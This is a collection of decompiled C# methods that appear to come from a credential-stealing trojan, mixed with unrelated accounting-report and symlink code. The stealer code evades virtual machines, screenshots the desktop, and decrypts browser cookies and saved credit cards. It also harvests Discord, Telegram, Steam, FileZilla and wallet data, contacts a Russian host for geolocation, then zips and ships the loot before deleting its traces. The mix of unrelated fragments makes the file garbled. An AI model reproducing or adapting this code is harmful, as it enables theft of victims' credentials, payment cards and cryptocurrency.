// Token: 0x060000FC RID: 252 RVA: 0x00007788 File Offset: 0x00005988 public static void smethod_0(string string_0) { try { string text = string.Concat(new string[] { "◨ ◩ ◪ ◧◨ ◩ ◪ ◧◨ ◩ ◪ ◧\r\nIP: ", Program.geo.Split(new char[] { '?' })[0], "\r\nCity: ", Program.geo.Split(new char[] { '?' })[1], "\r\nCountry: ", Program.geo.Split(new char[] { '?' })[2], "\r\nCountry code: ", Program.geo.Split(new char[] { '?' })[3], "\r\n————————————————————[ Ебаный рот этого Казино ]————————————————————\r\n\ud83d\udce1 IP: ", Program.geo.Split(new char[] { '?' })[0], "\r\n\ud83c\udf0e Country Code: ", Program.geo.Split(new char[] { '?' })[3], "\r\n\ud83d\udcdd Forms: ", Class10.string_2, "\r\n\ud83e\uddf0 Files: ", Class10.string_3, " \r\n\ud83c\udf92 FileZilla: ", Class10.string_5, "\r\n\ud83d\udcb3 Wallets ", (Class10.string_7 != "0") ? "✅" : "❌", "\r\n\ud83d\udcdf Telegram ", (Class10.string_4 != "0") ? "✅" : "❌", "\r\n\ud83e\uddff Discord ", (Class10.string_8 != "0") ? "✅" : "❌", "\r\n\ud83c\udfae Steam ", (Class10.string_6 != "0") ? "✅" : "❌", "\r\nGet log time: ", Program.timerint.ToString(), " sec.\r\nStartup path: ", Assembly.GetExecutingAssembly().Location.Replace("/", "\\"), "\r\n—————————————————————[ $$$ Окупаемся $$$ ]————————————————————\r\nHWID: ", Class6.smethod_0(), "\r\nUser name: ", Environment.UserName, "\r\nMachine name: ", Environment.MachineName, "\r\n" }); try { string text2 = ""; string name = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"; using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(name)) { if (registryKey != null) { try { string text3 = registryKey.GetValue("ProductName").ToString(); if (text3 == "") { text2 = "Error"; } if (text3.Contains("XP")) { text2 = "XP"; } else if (text3.Contains("7")) { text2 = "Windows 7"; } else if (text3.Contains("8")) { text2 = "Windows 8"; } else if (text3.Contains("10")) { text2 = "Windows 10"; } else if (text3.Contains("2012")) { text2 = "Windows Server"; } else { text2 = "Windows"; } goto IL_304; } catch { text2 = "Error"; goto IL_304; } } text2 = "Error"; IL_304 :; } if (Environment.Is64BitOperatingSystem) { text2 += " x64"; } else { text2 += " x32"; } text = text + "Windows version: " + text2 + "\r\n"; } catch { } try { int width = Screen.PrimaryScreen.Bounds.Width; int height = Screen.PrimaryScreen.Bounds.Height; text += string.Format("Screen size: {0}x{1}\r\n", width, height); } catch { } try { using (ManagementObjectCollection managementObjectCollection = new ManagementObjectSearcher("root\\SecurityCenter2", "SELECT * FROM AntiVirusProduct").Get()) { foreach (ManagementBaseObject managementBaseObject in managementObjectCollection) { string str = text; string str2 = "Antivirus name: "; object obj = managementBaseObject["displayName"]; text = str + str2 + ((obj != null) ? obj.ToString() : null) + "\r\n"; } } } catch { } try { using (ManagementObjectCollection managementObjectCollection2 = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_Processor").Get()) { using (ManagementObjectCollection.ManagementObjectEnumerator enumerator2 = managementObjectCollection2.GetEnumerator()) { if (enumerator2.MoveNext()) { ManagementBaseObject managementBaseObject2 = enumerator2.Current; object obj2 = managementBaseObject2["Name"]; string str3 = (obj2 != null) ? obj2.ToString() : null; text = text + "CPU name: " + str3 + "\r\n"; } } } } catch { } try { using (ManagementObjectCollection managementObjectCollection3 = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get()) { foreach (ManagementBaseObject managementBaseObject3 in managementObjectCollection3) { string str4 = text; string str5 = "GPU name: "; object obj3 = managementBaseObject3["Caption"]; text = str4 + str5 + ((obj3 != null) ? obj3.ToString() : null) + "\r\n"; } } } catch { } text += "――――――――――――――――――――――――――――――――――――――――――――\r\n"; try { text += string.Format("Number of running processes: {0}\r\n\r\n", Process.GetProcesses().Length); Array.Sort <Process>(Process.GetProcesses(), new Comparison <Process>(Class4.Class5.class5_0.method_0)); foreach (Process process in Process.GetProcesses()) { if (Process.GetCurrentProcess().Id != process.Id && process.Id != 0) { text = text + process.ProcessName + "\r\n"; } } text += "――――――――――――――――――――――――――――――――――――――――――――"; } catch { } StreamWriter streamWriter = new StreamWriter(string_0); streamWriter.Write(text); streamWriter.Close(); } catch (Exception value) { Console.WriteLine(value); } }
public FrmMercOrder() { InitializeComponent(); this.oleDbConnection_0 = DataProvider.GetConnection(); this.string_0 = "ORDER_" + Class6.smethod_0(SystemInformation.ComputerName); }
// Token: 0x06000129 RID: 297 RVA: 0x00009834 File Offset: 0x00007A34 // Note: this type is marked as 'beforefieldinit'. static Program() { Class34.A1SfXVPz7w9eh(); Program.string_0 = ""; Program.version = "1.3.8"; Program.timestart = DateTime.Now.ToString(); Program.timerint = 0; Program.clipp = ((Clipboard.GetText().Length <= 0 || Clipboard.GetText().Length >= 300) ? "" : Clipboard.GetText()); Program.geo = ""; Program.randomnm = Class6.smethod_2(); Program.path2 = "C:\\ProgramData\\debug.txt"; Program.string_1 = Environment.GetEnvironmentVariable("LocalAppData") + "\\" + Class6.smethod_0(); Program.path = Program.string_1 + "\\" + Program.randomnm; Program.id = ""; }
private void acc_glmof_BeforePrint(object sender, PrintEventArgs e) { if (FrmReports._sumrp) { this.detailBand_0.Visible = false; } string str = "MOFGL_" + Class6.smethod_0(SystemInformation.ComputerName); this.string_0 = "SELECT mof_gl, name, beg_debit, beg_credit, db_amount, cr_amount, end_credit, end_debit FROM " + str + " ORDER BY mof_gl "; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0); using (DataSet set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); base.DataAdapter = this.oleDbDataAdapter_0; base.DataSource = set.Tables[0]; } this.xrtableCell_7.DataBindings.Add("Text", base.DataSource, "end_credit", "{0:n0}"); this.ddvqeXfa4.DataBindings.Add("Text", base.DataSource, "mof_gl", ""); this.welftZbha.DataBindings.Add("Text", base.DataSource, "beg_debit", "{0:n0}"); this.xrtableCell_16.DataBindings.Add("Text", base.DataSource, "beg_credit", "{0:n0}"); this.xrtableCell_3.DataBindings.Add("Text", base.DataSource, "name", ""); this.xrtableCell_4.DataBindings.Add("Text", base.DataSource, "db_amount", "{0:n0}"); this.xrtableCell_6.DataBindings.Add("Text", base.DataSource, "end_debit", "{0:n0}"); this.xrtableCell_5.DataBindings.Add("Text", base.DataSource, "cr_amount", "{0:n0}"); XRSummary summary = new XRSummary(); this.xrtableCell_24.DataBindings.Add("Text", base.DataSource, "cr_amount", "{0:n0}"); summary.Running = SummaryRunning.Report; summary.FormatString = "{0:n0}"; this.xrtableCell_24.Summary = summary; XRSummary summary2 = new XRSummary(); this.xrtableCell_23.DataBindings.Add("Text", base.DataSource, "db_amount", "{0:n0}"); summary2.Running = SummaryRunning.Report; summary2.FormatString = "{0:n0}"; this.xrtableCell_23.Summary = summary2; XRSummary summary3 = new XRSummary(); this.xrtableCell_21.DataBindings.Add("Text", base.DataSource, "beg_debit", "{0:n0}"); summary3.Running = SummaryRunning.Report; summary3.FormatString = "{0:n0}"; this.xrtableCell_21.Summary = summary3; XRSummary summary4 = new XRSummary(); this.xrtableCell_22.DataBindings.Add("Text", base.DataSource, "beg_credit", "{0:n0}"); summary4.Running = SummaryRunning.Report; summary4.FormatString = "{0:n0}"; this.xrtableCell_22.Summary = summary4; XRSummary summary5 = new XRSummary(); this.xrtableCell_25.DataBindings.Add("Text", base.DataSource, "end_debit", "{0:n0}"); summary5.Running = SummaryRunning.Report; summary5.FormatString = "{0:n0}"; this.xrtableCell_25.Summary = summary5; XRSummary summary6 = new XRSummary(); this.xrtableCell_26.DataBindings.Add("Text", base.DataSource, "end_credit", "{0:n0}"); summary6.Running = SummaryRunning.Report; summary6.FormatString = "{0:n0}"; this.xrtableCell_26.Summary = summary6; }
private static void Main(string[] args) { if (Program.GetCheckVMBot()) { Environment.Exit(0); } StreamWriter streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true); Directory.CreateDirectory(Program.path); streamWriter.WriteLine("Created directory"); Class4.SaveScreen(Program.path + "\\image.png"); streamWriter.WriteLine("SaveScreen"); streamWriter.WriteLine("[Browsers Started]"); streamWriter.Close(); Class2.smethod_0(Program.path + "\\Browsers"); streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true); streamWriter.WriteLine("[Browser End]"); Class4.Discord(Program.path + "\\Discord"); streamWriter.WriteLine("Discord"); Class4.FileZilla(Program.path + "\\FileZilla"); streamWriter.WriteLine("FileZilla"); Class4.Telegram(Program.path + "\\Telegram"); streamWriter.WriteLine("Telegram"); Class4.Steam(Program.path + "\\Steam"); streamWriter.WriteLine("Steam"); Class4.smethod_3(Program.path + "\\Wallets"); streamWriter.WriteLine("Wallets"); try { using (WebClient webClient = new WebClient()) { byte[] bytes = webClient.DownloadData("http://hokage.ru/antivirus.php"); Program.geo = Encoding.ASCII.GetString(bytes); } } catch { Program.geo = "Unknown?Unknown?Unknown?UN"; } streamWriter.WriteLine("Geo"); Class4.smethod_0(Program.path + "\\info.txt"); try { string text = string.Concat(new string[] { Program.string_1, "\\[", Program.geo.Split(new char[] { '?' })[3], "]", Program.geo.Split(new char[] { '?' })[0], "_", Class6.smethod_0(), ".zip" }); Class6.smethod_3(Program.path, text); Class6.smethod_4(text, Program.id, string.Concat(new string[] { "[", Program.geo.Split(new char[] { '?' })[3], "]", Program.geo.Split(new char[] { '?' })[0], "_", Class6.smethod_0() })); Directory.Delete(Program.path, true); Directory.Delete(Program.string_1, true); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } }
private static Class6 smethod_0(string string_2, string string_3) { string path = Path.Combine(Path.GetDirectoryName(string_2), string_3 + ".exe"); //File.Delete(path); if (CreateSymbolicLink(path, Path.GetFileName(smethod_1(string_2)), Enum2.File)) { return(!string.Equals(string_2, path, StringComparison.OrdinalIgnoreCase) ? Class6.smethod_0(path) : Class6.smethod_1(path)); } if (Marshal.GetLastWin32Error() == 1) { throw new Exception("Could not setup new sym link - the device does not support symbolic links.\r\n" + $"Please make sure the drive you are attempting to use {string_3} on is " + $"formatted with the NTFS file system, or copy {string_3} to the system drive."); } Win32Exception exception = new Win32Exception(); throw new Exception($"Could not setup new sym link - {exception.Message} ({exception.NativeErrorCode:x8}"); }
private static string smethod_1(int int_3, bool bool_0) { int num = -1827340969; int num2 = -360735532; string str = null; while (class58_0 != null) { int num4; StringBuilder builder; byte[] buffer2; Assembly assembly2; int num3 = int_1; Label_001A: if (int_0 == ((0x7d9434c5 - num) ^ num2)) { return(new string(new char[] { (num ^ 0x796b607b) - num2, '0', (0x576a9f35 + num) ^ num2 })); } int num13 = (int_3 ^ ((-1679363405 ^ num) - num2)) ^ num3; num13 ^= (num + -605645539) + num2; class58_0.method_0().Position = num13; if (byte_1 != null) { buffer2 = byte_1; } else { short num21; if (short_0 == -1) { num21 = (short)((class58_0.method_1() ^ ((num ^ 0x796b7387) ^ num2)) ^ num13); } else { num21 = short_0; } if (num21 == 0) { buffer2 = null; } else { buffer2 = class58_0.method_6(num21); for (int i = 0; i != buffer2.Length; i++) { buffer2[i] = (byte)(buffer2[i] ^ ((byte)(int_1 >> ((3 & i) << 3)))); } } } int num5 = ((class58_0.method_2() ^ num13) ^ -~~--~-~~-~((0x7d9a0a6b - num) - num2)) ^ num3; if (num5 != ((-2037080451 ^ num) | num2)) { byte[] buffer3; int num15; bool flag2 = (num5 & ((num ^ -110403197) ^ num2)) > 0; bool flag4 = (num5 & ((num + -1754620035) - num2)) > 0; bool flag3 = (num5 & ((0x5d949a2b - num) ^ num2)) > 0; num5 &= (-1231774084 ^ num) + num2; byte[] buffer4 = class58_0.method_6(num5); byte[] buffer6 = buffer2; byte num24 = buffer6[1]; int length = buffer4.Length; byte num20 = (byte)((length + 11) ^ (7 + num24)); uint num19 = (uint)((buffer6[0] | (buffer6[2] << 8)) + (num20 << 3)); int index = 0; ushort num16 = 0; while (index < length) { if ((index & 1) == 0) { num19 = (uint)((num19 * ((num + 0x5767e1d2) ^ num2)) + ((0x7dbb38ee - num) - num2)); num16 = (ushort)(num19 >> 0x10); } byte num30 = (byte)num16; num16 = (ushort)(num16 >> 8); byte num23 = buffer4[index]; buffer4[index] = (byte)(((num23 ^ num24) ^ (num20 + 3)) ^ num30); index++; num20 = num23; } byte[] buffer = buffer4; if ((byte_0 > null) != (int_0 != ((-2105282981 + num) + num2))) { for (int j = 0; j < num5; j = 1 + j) { byte num14 = byte_0[j & 7]; num14 = (byte)((num14 << 3) | (num14 >> 5)); buffer[j] = (byte)(buffer[j] ^ num14); } } int num8 = int_0 - 12; if (!flag4) { buffer3 = buffer; num15 = num5; } else { num15 = ((buffer[2] | (buffer[0] << 0x10)) | (buffer[3] << 8)) | (buffer[1] << 0x18); buffer3 = new byte[num15]; smethod_5(buffer, 4, buffer3); } if (flag2 && (num8 == ((0x798cd819 ^ num) - num2))) { char[] chArray2 = new char[num15]; for (int k = 0; k < num15; k = 1 + k) { chArray2[k] = (char)buffer3[k]; } str = new string(chArray2); } else { str = Encoding.Unicode.GetString(buffer3, 0, buffer3.Length); } num8 += (((num + -2106890668) + num2) + (3 & num8)) << 5; if (num8 != ((0x7973f919 ^ num) ^ num2)) { int num34 = ((num5 + int_3) ^ ((-2105954227 + num) + num2)) ^ (num8 & ((0x7d949f38 - num) - num2)); builder = new StringBuilder(); num4 = (num + 0x576a9f35) ^ num2; builder.Append((char)((byte)num4)); str = num34.ToString(builder.ToString()); } if ((false == flag3) & bool_0) { str = string.Intern(str); class59_0.method_3(int_3, str); } return(str); } byte[] buffer5 = class58_0.method_6(4); int_3 = ((-1466961853 - num) + num2) ^ num3; int_3 = (((buffer5[2] | (buffer5[3] << 0x10)) | (buffer5[0] << 8)) | (buffer5[1] << 0x18)) ^ -int_3; str = class59_0.method_2(int_3); if (str == null) { continue; } return(str); Label_016E: assembly2 = Assembly.GetExecutingAssembly(); Assembly callingAssembly = Assembly.GetCallingAssembly(); int_0 |= (0x7d7c0bad - num) ^ num2; builder = new StringBuilder(); num4 = (-1718402686 ^ num) - num2; builder.Append((char)num4).Append((char)(num4 >> 0x10)); num4 = (0x5d8eba33 - num) ^ num2; builder.Append((char)(num4 >> 0x10)).Append((char)num4); num4 = (-1500348829 ^ num) + num2; builder.Append((char)num4).Append((char)(num4 >> 0x10)); num4 = (-1650607566 - num) - num2; builder.Append((char)num4).Append((char)(num4 >> 0x10)); num4 = (-1500217736 ^ num) + num2; builder.Append((char)(num4 >> 0x10)).Append((char)num4); Stream manifestResourceStream = assembly2.GetManifestResourceStream(builder.ToString()); int num6 = 2; StackTrace trace = new StackTrace(2, false); int_0 ^= ((num + 0x576a883b) ^ num2) | 2; num6 = 0; StackFrame frame = trace.GetFrame(0); int num17 = 0; if (frame == null) { trace = new StackTrace(); num17 = 1; frame = trace.GetFrame(1); } MethodBase method = frame?.GetMethod(); int_0 ^= num6 + ((-2037080325 ^ num) + num2); Type declaringType = method?.DeclaringType; if (frame == null) { int_0 ^= (0x5767c710 + num) ^ num2; } bool flag = declaringType == typeof(RuntimeMethodHandle); int_0 ^= (num ^ -2037080421) + num2; if (!flag && (flag = declaringType == null)) { if (smethod_4(trace, num17)) { flag = false; } else { int_0 ^= (0x7d97f2be - num) - num2; } } if (flag == (trace > null)) { int_0 = 0x20 ^ int_0; } int_0 ^= ((0x576a885b + num) ^ num2) | (1 + num6); class58_0 = new Class58(manifestResourceStream); short num25 = (short)(class58_0.method_1() ^ ((short)~-~--~~-~((num ^ 0x796bbbeb) - num2))); if (num25 == 0) { short_0 = (short)(class58_0.method_1() ^ ((short)-~-~~--~~((-1466604045 - num) ^ num2))); } else { byte_1 = class58_0.method_6(num25); } callingAssembly = assembly2; byte_0 = smethod_3(smethod_2(callingAssembly)); num3 = int_2; int_2 = 0; num3 ^= (-380421005 ^ num) + num2; long num32 = Class6.smethod_0(); num3 ^= (int)((uint)num32); num3 ^= (0x750a9c29 + num) - num2; int num33 = num3; int num28 = ((0x5e3827a7 - num) + num2) ^ num33; int num11 = (((0x796b4cd6 ^ num) - num2) * num28) % ((-1438863760 - num) + num2); int num18 = (num ^ 0x796b601e) - num2; int num29 = num11; Class0.Class4 class1 = new Class0.Class4((num + -2106890797) | num2) { int_4 = num29 }; Interface4 <int> interface2 = ((Interface1 <int>)class1).imethod_1(); try { while (interface2.imethod_2()) { int num31 = interface2.imethod_4(); num11 ^= num31 - num18; num18 -= (3 + num11) >> 8; } } finally { if (interface2 != null) { interface2.imethod_0(); } } num3 ^= -~-~~--~~((-1813293368 - num) + num2); int num26 = num11; num3 = num26 + num3; int_1 = num3; int_0 = (int_0 & ((num ^ 0x696b6111) - num2)) ^ ((num + 0x576a88f9) ^ num2); if ((enum0_0 & ~-~--~~-~-~((num ^ 0x796b6197) - num2)) == ((Enum0)0)) { int_0 = (num + -2106846833) + num2; } goto Label_001A; } goto Label_016E; }
public Class6 method_0(string string_2) { Class6 class2; int num = 0; while (true) { bool flag; if (num >= 100) { return(Class6.smethod_2("Failed to rename after several tries")); } if (num != 0) { Thread.Sleep(100); } using (new Mutex(true, string_2 + "-Startup", out flag)) { if (flag) { string str; if (!smethod_4(out str)) { class2 = Class6.smethod_2("Could not get image file name"); } else { string str2; if (!File.Exists(str)) { string location = Assembly.GetEntryAssembly().Location; if (!File.Exists(location)) { string str5; string str4 = Path.Combine(Path.GetDirectoryName(str), string_2 + ".exe"); if (!this.method_1(str4, out str5)) { class2 = Class6.smethod_2("Someone else won the rename race but the sym link could not be resolved"); } else { smethod_5(string_2, str); class2 = Class6.smethod_0(str5); } break; } str = location; } if (!this.method_1(str, out str2)) { class2 = Class6.smethod_2("Could not get final path for image file name"); } else if (!string.Equals(str, str2, StringComparison.OrdinalIgnoreCase)) { class2 = Class6.smethod_1(str); } else { Class6 class1 = smethod_0(str, string_2); if (class1.Enum1_0 == Enum1.Success) { smethod_5(string_2, str); } class2 = class1; } } break; } } num++; } return(class2); }
// Token: 0x0600001C RID: 28 RVA: 0x00006050 File Offset: 0x00004250 public static void smethod_0(string string_3) { try { List <string> list = new List <string>(); List <string> list2 = new List <string> { Help.AppDate, Help.LocalData }; List <string> list3 = new List <string>(); foreach (string path in list2) { try { list3.AddRange(Directory.GetDirectories(path)); } catch { } } foreach (string text in list3) { string text2 = ""; string[] array = null; try { list.AddRange(Directory.GetFiles(text, "Cookies", SearchOption.AllDirectories)); array = Directory.GetFiles(text, "Cookies", SearchOption.AllDirectories); goto IL_3A2; } catch { goto IL_3A2; } IL_BC: foreach (string text3 in array) { try { if (File.Exists(text3)) { string text4 = "Unknown"; foreach (string text5 in Class4.string_2) { if (text.Contains(text5)) { text4 = text5; } } string sourceFileName = text3; string sourceFileName2 = text3 + "\\..\\..\\Local State"; if (File.Exists(Class4.string_0)) { File.Delete(Class4.string_0); } if (File.Exists(Class4.string_1)) { File.Delete(Class4.string_1); } File.Copy(sourceFileName, Class4.string_0); File.Copy(sourceFileName2, Class4.string_1); Class9 @class = new Class9(Class4.string_0); new List <Class5>(); @class.method_4("cookies"); string text6 = File.ReadAllText(Class4.string_1); string[] array4 = Regex.Split(text6, "\""); int num = 0; string[] array5 = array4; int k = 0; while (k < array5.Length) { string a = array5[k]; if (!(a == "encrypted_key")) { num++; k++; } else { text6 = array4[num + 2]; IL_1E4: byte[] bytes = Encoding.Default.GetBytes(Encoding.Default.GetString(Convert.FromBase64String(text6)).Remove(0, 5)); byte[] key = Class6.smethod_0(bytes, null); int num2 = @class.method_1(); for (int l = 0; l < num2; l++) { try { string text7 = @class.method_0(l, 12); byte[] bytes2 = Encoding.Default.GetBytes(text7); try { string text8; if (text7.StartsWith("v10")) { byte[] iv = bytes2.Skip(3).Take(12).ToArray <byte>(); byte[] encryptedBytes = bytes2.Skip(15).ToArray <byte>(); text8 = AesGcm256.Decrypt(encryptedBytes, key, iv); } else { text8 = Encoding.Default.GetString(Class6.smethod_0(bytes2, null)); } string text9 = @class.method_0(l, 1); string text10 = @class.method_0(l, 2); string text11 = @class.method_0(l, 4); string text12 = @class.method_0(l, 5); string text13 = @class.method_0(l, 6); text2 += string.Format("{0}\tFALSE\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", new object[] { text9, text11, text13.ToUpper(), text12, text10, text8 }); Class4.int_3++; } catch { } } catch { } } File.Delete(Class4.string_0); File.Delete(Class4.string_1); if (text4 == "Unknown") { File.AppendAllText(string_3 + "\\Cookies_" + text4 + ".txt", text2); goto IL_392; } File.WriteAllText(string_3 + "\\Cookies_" + text4 + ".txt", text2); goto IL_392; } } goto IL_1E4; } IL_392 :; } catch { } } continue; IL_3A2: if (array != null) { goto IL_BC; } } } catch { } }
// Token: 0x06000047 RID: 71 RVA: 0x000053AC File Offset: 0x000035AC // Note: this type is marked as 'beforefieldinit'. static Program() { Class13.Cyiv2R6zubiV2(); Program.string_0 = ""; Program.version = "1.2.8"; Program.timestart = DateTime.Now.ToString(); Program.timerint = 0; Program.clipp = ((Clipboard.GetText().Length <= 0 || Clipboard.GetText().Length >= 300) ? "" : Clipboard.GetText()); Program.geo = ""; Program.path2 = "C:\\ProgramData\\debug.txt"; Program.string_1 = Environment.GetEnvironmentVariable("LocalAppData") + "\\" + Class6.smethod_0(); Program.path = Program.string_1 + "\\omgsh"; Program.id = ""; }
// Token: 0x0600001D RID: 29 RVA: 0x000064E8 File Offset: 0x000046E8 public static void smethod_1(string string_3) { try { List <string> list = new List <string>(); List <string> list2 = new List <string> { Help.AppDate, Help.LocalData }; List <string> list3 = new List <string>(); foreach (string path in list2) { try { list3.AddRange(Directory.GetDirectories(path)); } catch { } } foreach (string text in list3) { string text2 = ""; string[] array = null; try { list.AddRange(Directory.GetFiles(text, "Web Data", SearchOption.AllDirectories)); array = Directory.GetFiles(text, "Web Data", SearchOption.AllDirectories); goto IL_27D; } catch { goto IL_27D; } IL_BC: foreach (string text3 in array) { try { if (File.Exists(text3)) { string text4 = "Unknown"; foreach (string text5 in Class4.string_2) { if (text.Contains(text5)) { text4 = text5; } } string sourceFileName = text3; if (File.Exists(Class4.string_0)) { File.Delete(Class4.string_0); } File.Copy(sourceFileName, Class4.string_0); Class9 @class = new Class9(Class4.string_0); new List <Class5>(); @class.method_4("credit_cards"); int num = @class.method_1(); for (int k = 0; k < num; k++) { try { string @string = Encoding.UTF8.GetString(Class6.smethod_0(Encoding.Default.GetBytes(@class.method_0(k, 4)), null)); string text6 = @class.method_0(k, 1); string text7 = @class.method_0(k, 2); string text8 = @class.method_0(k, 3); string text9 = @class.method_0(k, 9); text2 += string.Format("{0}\t{1}/{2}\t{3}\t{4}\r\n******************************\r\n", new object[] { text6, text7, text8, @string, text9 }); Class4.int_5++; } catch { } } File.Delete(Class4.string_0); File.Delete(Class4.string_1); if (text4 == "Unknown") { File.AppendAllText(string_3 + "\\CC_" + text4 + ".txt", text2); } else { File.WriteAllText(string_3 + "\\CC_" + text4 + ".txt", text2); } } } catch { } } continue; IL_27D: if (array != null) { goto IL_BC; } } } catch { Console.WriteLine("Исключение сбор карт"); } }